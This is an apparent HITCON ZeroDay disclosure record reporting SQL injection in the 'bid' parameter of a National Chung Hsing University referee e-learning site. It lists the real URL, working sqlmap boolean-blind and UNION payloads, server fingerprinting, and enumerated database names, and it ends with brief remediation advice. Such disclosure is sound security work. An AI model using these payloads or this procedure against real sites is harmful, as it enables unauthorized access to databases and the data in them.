Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00334
- Vendor: 國立中興大學
- Title: 国立中兴大学某站SQL
- Introduction: 国立中兴大学运动裁判知能数位学习系统SQL
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2018/04/01 00:27:36 : 新提交 (由 Cra5h 更新此狀態)
- 2018/04/01 15:39:38 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/02 11:56:20 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/02 11:56:20 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/02 11:56:21 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/01 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2018/11/16 18:09:34 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/11/24 03:00:20 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00334
- 通報者:cra5h (Cra5h)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
国立中兴大学运动裁判知能数位学习系统SQL
SQL位置:
http://referee.sim.nchu.edu.tw/index_bulletin_search.php?bid=22
bid参数过滤不严,导致SQL注入
GET parameter 'bid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
Parameter: bid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: bid=22 AND 6489=6489
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: bid=-1298 UNION ALL SELECT NULL,CONCAT(0x71717a6a71,0x6849466c7a4356665a77446b77574b62746b7855734178686a6f777142757a54485a68544a487456,0x716a7a7671),NULL,NULL,NULL-- kSok
[00:00:50] [INFO] testing MySQL
[00:00:59] [INFO] confirming MySQL
[00:01:29] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[00:01:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, Microsoft IIS 7.0, PHP 5.2.8
back-end DBMS: MySQL >= 5.0.0
[00:01:29] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\referee.sim.nchu.edu.tw'
连接不稳定,很慢
仅确认库:(4个)
[00:03:10] [INFO] fetching database names
[00:03:10] [INFO] used SQL query returns 4 entries
[00:03:31] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[00:03:31] [INFO] retrieved: information_schema
[00:03:32] [INFO] retrieved: sport
[00:03:53] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[00:04:14] [INFO] retrieved: sport_ref_basketball
[00:04:35] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[00:04:35] [INFO] retrieved: test
available databases [4]:
[] information_schema
[] sport
[] sport_ref_basketball
[] test
[00:04:35] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\referee.sim.nchu.edu.tw'
PS:额外说明一下,之前提交的几个漏洞,不知道是我上传方式不对,还是什么原因,多图的只上传成功一张图片,不过文字叙述应该能证明漏洞了!谢谢
修補建議
过滤,参数化